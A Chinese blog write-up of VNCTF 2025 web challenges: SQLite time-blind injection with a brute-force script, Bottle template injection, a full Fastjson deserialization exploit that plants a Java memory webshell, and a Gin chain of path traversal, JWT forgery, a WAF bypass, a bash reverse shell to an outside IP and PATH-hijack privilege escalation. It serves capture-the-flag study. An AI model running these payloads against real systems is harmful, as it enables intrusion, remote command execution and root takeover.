VNCTF 2025 web wp

Web3看到路径穿越下key伪造jwt,也绕过沙箱弹到shell了,就剩一个提权。但这几天比较累,到后面实在是熬不动了,睡觉去了。今早起来看到环境变量提权的可能,但是最后还是没跑赢时间,导致差一题差一点就web方向第2了。

web单方向最终第10,我是前10里面唯一一个只出了三道题的。也许遗憾真的总是贯穿人生始终吧。

奶龙回家

这题我一血。感觉是最简单的一道。我JavaGuide燃尽了才解出来,这个题十分钟就出了,最后JavaGuide解是这个的两倍。绷。

首先测SQL注入闭合的方式。1"发现回显“账号密码错误!!”,1'发现回显“好像发生了某种错误??”。到这里可以确诊是sql注入。

接下来burp fuzz一下。过滤了空格,sleep,or,等于号这些。但是都还好。空格可以/**/代替。or其实根本不需要,直接用and就行,等于号的话用大于小于代替,sleep这个更是幽默——他是sqlite(我试的时候发现对大小写敏感我大概就猜到了),sqlite里没有sleep函数((((这里我们使用最经典的randombolb函数延时,逐字符爆破username和password即可

那么大概思路就是一个sqlite的时间盲注。

先试payload

1'/**/or/**/(case/**/when(2>1)/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*

发现明显的时间延迟。

一眼顶针了,后面就是经典的时盲二分法。直接可以拿网上的脚本搓出来。

https://www.freebuf.com/articles/network/324785.html

抄脚本下来,由于这里靶机比较卡,我们增大randombolb的参数让他多sleep一下

import requests
import time
url = 'http://node.vnteam.cn:46709/login'
flag = ''
for i in range(1,500):
 low = 32
 high = 128
 mid = (low+high)//2
 while(low<high):
     time.sleep(0.2)
     payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
#把payload里password换成username打username
     datas = {
         "username":"1",
         "password": payload
     }
     # print(datas)
     start_time=time.time()
     res = requests.post(url=url,json=datas)
     end_time=time.time()
     spend_time=end_time-start_time
     if spend_time>=0.4: #这里需要调一下。要先跑几次必会延迟的请求测试一下平均延时。
         low = mid+1
     else:
         high = mid
     mid = (low+high)//2
 if(mid ==32 or mid ==127):
     break
 flag = flag+chr(mid)
 print(flag)
print('\n'+bytes.fromhex(flag).decode('utf-8'))

由上,我们爆破出username为nailong,password为woaipangmao114514

登录获得flag

学生姓名登记系统

由“单文件框架”猜到是bottle。

翻阅bottle的开发手册,可以看到他渲染templete的模板引擎叫SimpleTemplate,手册如下:

https://www.osgeo.cn/bottle/stpl.html

我们可以看到有:

通过测试如下payload,我们确认是bottle框架:

{{setdefault('a','b')}}
{{a}}

输出:

可以看到我们成功定义了变量a的值为"b"。

通过fuzz可以看到,对于单行有23的长度限制。因此我们的基本思路是采用变量赋值的办法把payload拆成多行,最后再拼到一起即可。

然而我们不得不发现,setdefault有点太长了,光是{{setdefault('a','b')}}这样的payload都已经极限23个字符了。根本无法实现最后的拼接。

于是我们接着去看代码。

可以发现,我们不能直接用赋值符号=来进行赋值。SimpleTemplate不能正确解析{{a="b"}}这种语句。

我们可以看到python版本为3.12,而自从python3.8之后,python引入了一种新的赋值语句:海象运算符。

https://zhuanlan.zhihu.com/p/351140647

我们可以使用{{a:="b"}}的语句来赋值吗?

{{a:="b"}}
{{a}}

由此特性易得payload:

{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()}}
{{e:=d[154]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}

在环境变量里找到flag

JavaGuide

ObjectInputStream(反序列化)输入数据可控,同时引入Fastjson依赖。那么题其实就是打fastjson。但是,是高版本的,重写了resolveClass,禁止了TemplatesImpl,直接把RCE的终点砍废了。

因此我们使用SignedObject类打二次反序列化,通过注入java内存马的方式RCE。

此事在CISCN 2024决赛中亦有记载:https://xz.aliyun.com/news/15977

有一篇几乎完全重合的文章:https://xz.aliyun.com/news/12052

跟着打就完了。

链子:hashMap2.readObject -> eventListenerList.readObject -> UndoManager.toString -> Vector.toString -> JSONArray1.toString -> SignedObject.getObject -> hashMap1.readObject->XString.equals -> JSONArray.toString -> TemplatesImpl.getOutputProperties

import com.alibaba.fastjson.JSONArray;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.bind.DatatypeConverter;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.Vector;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.CtNewConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;
public class EXP {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] genPayload(String cmd) throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        CtClass clazz = classPool.makeClass("A");
        if ((clazz.getDeclaredConstructors()).length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }        clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
                "                org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
                "                javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
                "                javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
                "                String[] cmd =  new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
                "                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
                "                httpresponse.getWriter().write(new String(result));\n" +
                "                httpresponse.getWriter().flush();\n" +
                "                httpresponse.getWriter().close();\n" +
                "        }", clazz));
        clazz.getClassFile().setMajorVersion(50);
        CtClass superClass = classPool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        return clazz.toBytecode();
    }
    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }
    public static void main(String[] args) throws Exception{


        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("whoami")});
        setValue(templates, "_name", "1");
        setValue(templates, "_tfactory", null);



        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());


        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(h1,h1);
        hashMap.put(h2,h2);
        Class clazz=h2.getClass();
        Field transformerdeclaredField = clazz.getDeclaredField("target");
        transformerdeclaredField.setAccessible(true);
        transformerdeclaredField.set(h2,new XString("xxx"));

        HashMap<Object,Object> hashMap1 = new HashMap<>();
        hashMap1.put(templates,hashMap);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(hashMap1,privateKey,signingEngine);

        JSONArray jsonArray1 = new JSONArray();
        jsonArray1.add(signedObject);

        EventListenerList eventListenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector vector = (Vector) getFieldValue(undoManager, "edits");
        vector.add(jsonArray1);
        setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});


        HashMap hashMap2 = new HashMap();
        hashMap2.put(vector,eventListenerList);


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap2);
        objectOutputStream.close();

        byte [] bytes=byteArrayOutputStream.toByteArray();
        String base64encode= DatatypeConverter.printBase64Binary(bytes);
        BufferedWriter bufferedWriter=new BufferedWriter(new FileWriter("Ser3.bin"));
        bufferedWriter.write(base64encode);
        bufferedWriter.close();


        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();



    }
}

Gin

嗨,结束时间10:00,嗨。为什么不肯多给我一个小时呢?

是LamentXU最爱的纯白盒审计题。

首先很明显就能看到一个路径穿越,有一个任意下载的洞:

显然,我们可以通过/download?filename=../config/key.go拿到jwt的secret和time。

package config

func Key() string {
	return "r00t32l"
}
func Year() int64 {
	return 2025
}

接着去看jwt的部分。

拿到生成密钥的逻辑。我们整个在线go环境跑一遍:https://www.jyshare.com/compile/21/

package main

import "fmt"
import "math/rand"

func GenerateKey() string {
	rand.Seed(2025)
	randomNumber := rand.Intn(1000)
	key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l")
	return key
}

func main() {
   fmt.Println(GenerateKey())
}

拿到key。

接下来就是RCE部分。基本上就是任意RCE,waf如下:

不允许你导入os/exec。然而,这里的正则表达式只匹配第一个import,令人忍俊不禁。

传入code为

package main

import (
    "fmt"
)
import (
	"os/exec"
)

func main() {
	cmd := exec.Command("/bin/bash", "-c", "ls")
	out, err := cmd.CombinedOutput()
    fmt.Println(out)
    fmt.Println(err)
}

成功执行。

直接cat /flag

发现输出VNCTF2025!!!。假flag(我可*你的吧)。

接下来就是提权

看root权限的文件:find / -perm -u=s -type f 2>/dev/null

可以看到有一个/.../Cat意义不明。

利用下载key.go的同款方法下载Cat。我们尝试将Cat利用cp命令复制到web目录。

cp /.../Cat Cat

随后/download?filename=../Cat

IDA逆向,如下:

发现这里是用的cat /flag而不是/bin/cat /flag。可以环境变量劫持。

(然后比赛结束了,大哭)

有点麻烦,先弹个shell吧。

package main
import (
 "fmt"
)
import (
"os/exec"
)
func main() {
cmd := exec.Command("/bin/bash", "-c", "bash -i >& /dev/tcp/101.43.48.199/13311 0>&1")
out, err := cmd.CombinedOutput()
 fmt.Println(out)
 fmt.Println(err) }

注意!!!不要bp发包,用浏览器直接发!!!这破地方坑死我了,要不是我一直用bp我不会卡这么久。

/tmp目录可写,直接写一个/tmp/cat然后把PATH改过去,这样他在cat /flag的时候执行的就是我们/tmp下的那个cat脚本。

我们直接写个shell进去:

echo -e '#!/bin/bash\n/bin/bash' > /tmp/cat

赋予执行权限:

chmod 777 /tmp/cat 

导入到环境变量:

export PATH=/tmp:$PATH

然后运行:

/.../Cat

劫持成功~

读取/root下的flag(不能用cat,cat被劫持了,可以用/bin/cat)

posted @ 2025-02-09 12:44  LamentXU  阅读(2066)  评论(0)    收藏  举报